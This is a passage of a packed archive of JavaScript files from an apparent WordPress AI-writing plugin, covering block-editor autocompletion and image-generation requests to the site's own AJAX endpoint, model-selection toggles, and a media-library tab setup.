d)) { for (; d && (d = wp.data.select("core/block-editor").getBlockRootClientId(d), !wp.data.select("core/block-editor").canInsertBlockType("core/paragraph", d));); let t = wp.blocks.createBlock("core/paragraph", { content: s }); return await wp.data.dispatch("core/block-editor").insertBlock(t, void 0, d), t } let w = i(n), u = wp.richText.create({ html: w }), g = w.length; "offset" in r && (g = r.offset); let b = wp.richText.slice(u, 0, g), k = wp.richText.slice(u, g, u.text.length), h = wp.richText.toHTMLString({ value: b }), f = wp.richText.toHTMLString({ value: k }), m = n.attributes; const v = r.attributeKey; let B = m; B[v] = h; const I = wp.blocks.createBlock(n.name, B); let x = m; x[v] = s; let _ = wp.blocks.createBlock("core/paragraph", x), T = m; T[v] = f; let y = [I, _, wp.blocks.createBlock(n.name, T)]; return 0 === k.text.trim().length && (y = [I, _]), await wp.data.dispatch("core/block-editor").replaceBlock(c, y), _ } function n() { let t = l(), [e, o] = p(t); return s(t, e, o).trim() } function l() { let t = wp.data.select("core/block-editor").getMultiSelectedBlockClientIds(); return 0 === t.length && (t = [wp.data.select("core/block-editor").getSelectedBlockClientId()]), t } function i(t) { let e = ""; return "content" in t.attributes ? e = t.attributes.content : "citation" in t.attributes ? e = t.attributes.citation : "value" in t.attributes ? e = t.attributes.value : "values" in t.attributes ? e = t.attributes.values : "text" in t.attributes && (e = t.attributes.text), e } function s(t, e, o) { let r = ""; return t.forEach((t => { const c = wp.data.select("core/block-editor").getBlock(t); let a = i(c), n = wp.richText.create({ html: a }).text, l = 0, p = n.length; e.clientId === t && "offset" in e && (l = e.offset), o.clientId === t && "offset" in o && (p = o.offset), n = n.substring(l, p), r += "\n" + n, c.innerBlocks.length > 0 && (r += s(c.innerBlocks.map((t => t.clientId)))) })), r } function p(t) { const e = wp.data.select("core/block-editor").getSelectionStart(), o = wp.data.select("core/block-editor").getSelectionEnd(); if (e.clientId === o.clientId) return [e, o]; let r = e, c = o; return t.length > 0 && t[0] === o.clientId && (r = o, c = e), [r, c] } function d() { let t = n(); return t.length > 0 && t }(0, e.registerFormatType)("aiomatic/custom-buttons", { title: "Aiomatic Content Wizard", tagName: "aiomatic", className: null, edit: e => { let { isActive: n, onChange: l, value: i } = e, s = []; if ("object" == typeof aiomatic && "object" == typeof aiomatic.prompts) { for (let operation in aiomatic.prompts) { let prompt = aiomatic.prompts[operation]; let icon = 'text'; if(prompt[1] == 'image') { icon = 'format-image'; } s.push({ title: operation, icon: icon, onClick: async function() { var selectedText = d(); var send_prompt = prompt[0].replace('%%selected_text%%', selectedText); if(send_prompt.includes('%%')) { if (wp && wp.data) { const postId = wp.data.select("core/editor").getCurrentPostId(); const ajaxurl = aiomatic.ajaxurl; const nonce = aiomatic.nonce; const xdata = new FormData(); xdata.append( 'postId', postId ); xdata.append( 'nonce', nonce ); xdata.append( 'send_prompt', send_prompt ); xdata.append( 'action', 'aiomatic_shortcode_replacer' ); const response = await fetch(ajaxurl, { method: 'POST', body: xdata }).catch(async error => { console.log('An exception occurred: ' + error.text()); }) if (!response.ok) { console.log('An error occurred: ' + response.text()); } else { const ret = await response.json(); if (ret.message !== undefined) { console.log('A general error occurred: ' + response.text()); } else { send_prompt = ret.data.content; } } } } var block = await aiomaticCreateBlockForAutocompletion(aiomatic.placement); if(icon == 'text') { await aiomaticAutocomplete(block, send_prompt); } else { if(icon == 'format-image') { await aiomaticImager(block, send_prompt); } } }, }); } } s = aiomatic_uniq_fast(s); return (0, t.createElement)(o.BlockControls, null, (0, t.createElement)(r.ToolbarGroup, null, (0, t.createElement)(r.ToolbarDropdownMenu, { className: "aiomatic_editor_icon", label: "Aiomatic Content Wizard", icon: '', controls: s }))) } }) } }, o = {}; function r(t) { var c = o[t]; if (void 0 !== c) return c.exports; var a = o[t] = { exports: {} }; return e[t](a, a.exports, r), a.exports } r.m = e, t = [], r.O = (e, o, c, a) => { if (!o) { var n = 1 / 0; for (p = 0; p < t.length; p++) { for (var [o, c, a] = t[p], l = !0, i = 0; i < o.length; i++)(!1 & a || n >= a) && Object.keys(r.O).every((t => r.O[t](o[i]))) ? o.splice(i--, 1) : (l = !1, a < n && (n = a)); if (l) { t.splice(p--, 1); var s = c(); void 0 !== s && (e = s) } } return e } a = a || 0; for (var p = t.length; p > 0 && t[p - 1][2] > a; p--) t[p] = t[p - 1]; t[p] = [o, c, a] }, r.o = (t, e) => Object.prototype.hasOwnProperty.call(t, e), (() => { var t = { 826: 0, 431: 0 }; r.O.j = e => 0 === t[e]; var e = (e, o) => { var c, a, [n, l, i] = o, s = 0; if (n.some((e => 0 !== t[e]))) { for (c in l) r.o(l, c) && (r.m[c] = l[c]); if (i) var p = i(r) } for (e && e(o); s < n.length; s++) a = n[s], r.o(t, a) && t[a] && t[a][0](), t[a] = 0; return r.O(p) }, o = globalThis.webpackChunkgutenpride = globalThis.webpackChunkgutenpride || []; o.forEach(e.bind(null, 0)), o.push = e.bind(null, o.push.bind(o)) })(); var c = r.O(void 0, [431], (() => r(401))); c = r.O(c) })(); async function aiomaticCreateBlockForAutocompletion(placement) { let selectedBlockClientIds = aiomaticgetSelectedBlockClientIds(); let [selectionStart, selectionEnd] = aiomaticGetAdjustedSelections(selectedBlockClientIds); let lastBlockClientId = selectionEnd.clientId; let firstBlockClientId = selectionStart.clientId; let lastBlock = wp.data.select('core/block-editor').getBlock(lastBlockClientId); let loadingSpinner = aiomaticCreateLoadingSpinner(); if (placement === 'above') { let autoCompleteBlock = wp.blocks.createBlock('core/paragraph', { content: loadingSpinner }); let index = wp.data.select('core/block-editor').getBlockIndex(firstBlockClientId); let parentClientId = wp.data.select('core/block-editor').getBlockRootClientId(firstBlockClientId); await wp.data.dispatch('core/block-editor').insertBlock(autoCompleteBlock, index, parentClientId); return autoCompleteBlock; } if (selectedBlockClientIds.length > 1 || lastBlock.name !== 'core/paragraph') { let autoCompleteBlock = wp.blocks.createBlock('core/paragraph', { content: loadingSpinner }); let parentBlockClientId = wp.data.select('core/block-editor').getBlockRootClientId(lastBlockClientId); let indexToInsertAt = wp.data.select('core/block-editor').getBlockIndex(lastBlockClientId) + 1; if (!wp.data.select('core/block-editor').canInsertBlockType('core/paragraph', parentBlockClientId)) { while (parentBlockClientId) { indexToInsertAt = wp.data.select('core/block-editor').getBlockIndex(parentBlockClientId) + 1; parentBlockClientId = wp.data.select('core/block-editor').getBlockRootClientId(parentBlockClientId); if (wp.data.select('core/block-editor').canInsertBlockType('core/paragraph', parentBlockClientId)) { break; } } } await wp.data.dispatch('core/block-editor').insertBlock(autoCompleteBlock, indexToInsertAt, parentBlockClientId); return autoCompleteBlock; } let parentBlockClientId = wp.data.select('core/block-editor').getBlockRootClientId(lastBlockClientId); if (!wp.data.select('core/block-editor').canInsertBlockType('core/paragraph', parentBlockClientId)) { while (parentBlockClientId) { parentBlockClientId = wp.data.select('core/block-editor').getBlockRootClientId(parentBlockClientId); if (wp.data.select('core/block-editor').canInsertBlockType('core/paragraph', parentBlockClientId)) { break; } } let autoCompleteBlock = wp.blocks.createBlock('core/paragraph', { content: loadingSpinner }); await wp.data.dispatch('core/block-editor').insertBlock(autoCompleteBlock, undefined, parentBlockClientId); return autoCompleteBlock; } let lastBlockContent = aiomaticExtractBlockContent(lastBlock); let richText = wp.richText.create({ html: lastBlockContent }); let start = 0; let end = lastBlockContent.length; if ('offset' in selectionEnd) { end = selectionEnd.offset; } let firstPart = wp.richText.slice(richText, start, end); let secondPart = wp.richText.slice(richText, end, richText.text.length); let firstPartContent = wp.richText.toHTMLString({ value: firstPart }); let secondPartContent = wp.richText.toHTMLString({ value: secondPart }); let inheritedAttributes = lastBlock.attributes; const key = selectionEnd.attributeKey; let firstBlockAttributes = inheritedAttributes; firstBlockAttributes[key] = firstPartContent; const firstPartBlock = wp.blocks.createBlock(lastBlock.name, firstBlockAttributes); let autoCompleteAttributes = inheritedAttributes; autoCompleteAttributes[key] = loadingSpinner; let autoCompleteBlock = wp.blocks.createBlock('core/paragraph', autoCompleteAttributes); let secondBlockAttributes = inheritedAttributes; secondBlockAttributes[key] = secondPartContent; const secondPartBlock = wp.blocks.createBlock(lastBlock.name, secondBlockAttributes); let replacementBlocks = [firstPartBlock, autoCompleteBlock, secondPartBlock]; if (secondPart.text.trim().length === 0) { replacementBlocks = [firstPartBlock, autoCompleteBlock]; } await wp.data.dispatch('core/block-editor').replaceBlock(lastBlockClientId, replacementBlocks); return autoCompleteBlock; } function aiomaticCreateLoadingSpinner() { const loadingSpinnerId = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); let spinnersrc = "data:image/gif;base64,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"; let spinnerHtml = '<p id="' + loadingSpinnerId + '" class="aiomatic-mce-loading"><img src="' + spinnersrc + '"></p>'; return spinnerHtml; } async function aiomaticAutocomplete(autocompleteBlock, selectedText) { let autocompletedText = ''; try { autocompletedText = await aiomatic_doAutocompleteRequest(selectedText); } catch (error) { await wp.data.dispatch('core/block-editor').removeBlocks(autocompleteBlock.clientId); alert('An API error occurred with the following response body: \n\n' + error.message); return; } if(autocompletedText === undefined) { await wp.data.dispatch('core/block-editor').removeBlocks(autocompleteBlock.clientId); alert('Incorrect response by AI API!'); return; } const autocompletedTextWithLineBreaks = autocompletedText.replace(/\n/g, '<br>'); await wp.data.dispatch('core/block-editor').updateBlockAttributes(autocompleteBlock.clientId, { isLoading: true }); setTimeout(async () => { await wp.data.dispatch('core/block-editor').updateBlockAttributes(autocompleteBlock.clientId, { content: autocompletedTextWithLineBreaks, isLoading: false }); wp.data.dispatch('core/block-editor').selectBlock(autocompleteBlock.clientId); wp.data.dispatch('core/block-editor').clearSelectedBlock(); }, 100); } async function aiomaticImager(autocompleteBlock, selectedText) { let autocompletedText = ''; try { autocompletedText = await aiomatic_doImageRequest(selectedText); } catch (error) { await wp.data.dispatch('core/block-editor').removeBlocks(autocompleteBlock.clientId); alert('An API error occurred with the following response body: \n\n' + error.message); return; } if(autocompletedText === undefined) { await wp.data.dispatch('core/block-editor').removeBlocks(autocompleteBlock.clientId); alert('Incorrect response returned by AI API!'); return; } await wp.data.dispatch('core/block-editor').updateBlockAttributes(autocompleteBlock.clientId, { isLoading: true }); setTimeout(async () => { await wp.data.dispatch('core/block-editor').updateBlockAttributes(autocompleteBlock.clientId, { content: autocompletedText, isLoading: false }); wp.data.dispatch('core/block-editor').selectBlock(autocompleteBlock.clientId); wp.data.dispatch('core/block-editor').clearSelectedBlock(); }, 100); } const aiomatic_doAutocompleteRequest = async function (text) { const ajaxurl = aiomatic.ajaxurl; const nonce = aiomatic.nonce; const xdata = new FormData(); xdata.append( 'prompt', text ); xdata.append( 'nonce', nonce ); xdata.append( 'action', 'aiomatic_editor' ); const response = await fetch(ajaxurl, { method: 'POST', body: xdata }).catch(async error => { throw new Error(await error.text()); }) if (!response.ok) { throw new Error(await response.text()); } const ret = await response.json(); if (ret.message !== undefined) { throw new Error(await response.text()); } return ret.data.content; } const aiomatic_doImageRequest = async function (text) { const ajaxurl = aiomatic.ajaxurl; const nonce = aiomatic.nonce; const xdata = new FormData(); xdata.append( 'prompt', text ); xdata.append( 'nonce', nonce ); xdata.append( 'action', 'aiomatic_imager' ); const response = await fetch(ajaxurl, { method: 'POST', body: xdata }).catch(async error => { throw new Error(await error.text()); }) if (!response.ok) { throw new Error(await response.text()); } const ret = await response.json(); if (ret.message !== undefined) { throw new Error(await response.text()); } return ret.data.content; } function aiomaticgetSelectedBlockClientIds() { let selectedBlockClientIds = wp.data.select('core/block-editor').getMultiSelectedBlockClientIds(); if (selectedBlockClientIds.length === 0) { selectedBlockClientIds = [wp.data.select('core/block-editor').getSelectedBlockClientId()]; } return selectedBlockClientIds; } function aiomaticGetAdjustedSelections(selectedBlockClientIds) { const selectionStart = wp.data.select('core/block-editor').getSelectionStart(); const selectionEnd = wp.data.select('core/block-editor').getSelectionEnd(); if (selectionStart.clientId === selectionEnd.clientId) { return [selectionStart, selectionEnd]; } let adjustedSelectionStart = selectionStart; let adjustedSelectionEnd = selectionEnd; if (selectedBlockClientIds.length > 0 && selectedBlockClientIds[0] === selectionEnd.clientId) { adjustedSelectionStart = selectionEnd; adjustedSelectionEnd = selectionStart; } return [adjustedSelectionStart, adjustedSelectionEnd]; } function aiomaticExtractBlockContent(block) { let content = ''; if ('content' in block.attributes) { content = block.attributes.content; } else if ('citation' in block.attributes) { content = block.attributes.citation; } else if ('value' in block.attributes) { content = block.attributes.value; } else if ('values' in block.attributes) { content = block.attributes.values; } else if ('text' in block.attributes) { content = block.attributes.text; } return content; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/spin.js�������������������������������������������������������������������������������������0000644�����������������00000007205�14757771437�0007574 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; function assistantSelected(checkID, disableClass) { if(jQuery('#' + checkID).val() == '') { jQuery('.' + disableClass).find('option').removeAttr('disabled'); } else { jQuery('.' + disableClass).find('option').attr('disabled', 'disabled'); } } function visionSelectedAI() { var selected = jQuery('#edit_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision").show(); } else { jQuery(".hideVision").hide(); } } function visionSelectedAI3() { var selected = jQuery('#model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision3").show(); } else { jQuery(".hideVision3").hide(); } } function visionSelectedAI7() { var selected = jQuery('#cats_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision7").show(); } else { jQuery(".hideVision7").hide(); } } function visionSelectedAI9() { var selected = jQuery('#link_juicer_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision9").show(); } else { jQuery(".hideVision9").hide(); } } function visionSelectedAI8() { var selected = jQuery('#tags_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision8").show(); } else { jQuery(".hideVision8").hide(); } } function visionSelectedAI10() { var selected = jQuery('#custom_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision10").show(); } else { jQuery(".hideVision10").hide(); } } function visionSelectedAI5() { var selected = jQuery('#comments_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision5").show(); } else { jQuery(".hideVision5").hide(); } } function visionSelectedAI6() { var selected = jQuery('#seo_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision6").show(); } else { jQuery(".hideVision6").hide(); } } jQuery(document).ready(function() { visionSelectedAI(); visionSelectedAI3(); visionSelectedAI7(); visionSelectedAI8(); visionSelectedAI10(); visionSelectedAI9(); visionSelectedAI5(); visionSelectedAI6(); });�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/media-ai-script.js��������������������������������������������������������������������������0000644�����������������00000212326�14757771437�0011575 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var selectedImage = ''; if(wp.media !== undefined && wp.media.view !== undefined && wp.media.view.l10n !== undefined) { var l10n = wp.media.view.l10n; wp.media.view.MediaFrame.Select.prototype.browseRouter = function( routerView ) { routerView.set({ upload: { text: l10n.uploadFilesTitle, priority: 20 }, browse: { text: l10n.mediaLibraryTitle, priority: 40 }, aiomatic_tab: { text: "Aiomatic Royalty Free Images", priority: 80, className: 'media-menu-item menu-item-aiomatic_royalty_tab' }, aiomatic_royalty_tab: { text: "Aiomatic AI Generated Images", priority: 90, className: 'media-menu-item menu-item-aiomatic_tab' } }); }; } jQuery(document).ready(function($){ if ( wp.media ) { wp.media.view.Modal.prototype.on( "open", function() { if($('body').find('.menu-item-aiomatic_tab')[0] !== undefined) { if($('body').find('.menu-item-aiomatic_tab')[0].classList.contains('active')) { AiomaticDoMyTabContent(); } $('.menu-item-aiomatic_tab').on('click', function(e){ AiomaticDoMyTabContent(); }); } if($('body').find('.menu-item-aiomatic_royalty_tab')[0] !== undefined) { if($('body').find('.menu-item-aiomatic_royalty_tab')[0].classList.contains('active')) { AiomaticDoMyTabRoyaltyContent(); } $('.menu-item-aiomatic_royalty_tab').on('click', function(e){ AiomaticDoMyTabRoyaltyContent(); }); } }); } if($(".aiomatic-image-tab-1").length != 0) { AiomaticDoMyTabContent(); } if($(".aiomatic-image-tab-2").length != 0) { AiomaticDoMyTabRoyaltyContent(); } }); function AiomaticDoMyTabContent() { var aimodels = '<option value="openai" selected>OpenAI Dall-E 2</option><option value="dalle3">OpenAI Dall-E 3</option><option value="dalle3hd">OpenAI Dall-E 3 HD</option>'; if(aiomatic_img_ajax_object.no_stable != '1') { aimodels += '<option value="stable">Stable Difussion</option>'; } if(aiomatic_img_ajax_object.no_midjourney != '1') { aimodels += '<option value="midjourney">Midjourney</option>'; } var html = ` <div id="aiomatic-block-editor" class="aiomatic-block-editor"> <figure class="block-editor-block-list__block wp-block is-selected wp-block-uploads-aiomatic" style="display: block;margin-block-start: 1em;margin-block-end: 1em;margin-inline-start: 40px;margin-inline-end: 40px;width:auto;max-width:100%"> <div> <fieldset> <h4>Generate AI images in seconds, based on your prompts or style options:</h4> <div class="aiomatic-image-result cr_image_center" id="aiomatic_image_div"><img id="aiomatic_ai_image_response" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="></div> <div class="aiomatic-image-div" id="aiomatic-image-upload" style="display:none;"> <button type="button" id="aiomatic_image_upload" class="button load-more button-primary" onclick="aiomatic_upload_images();"><svg 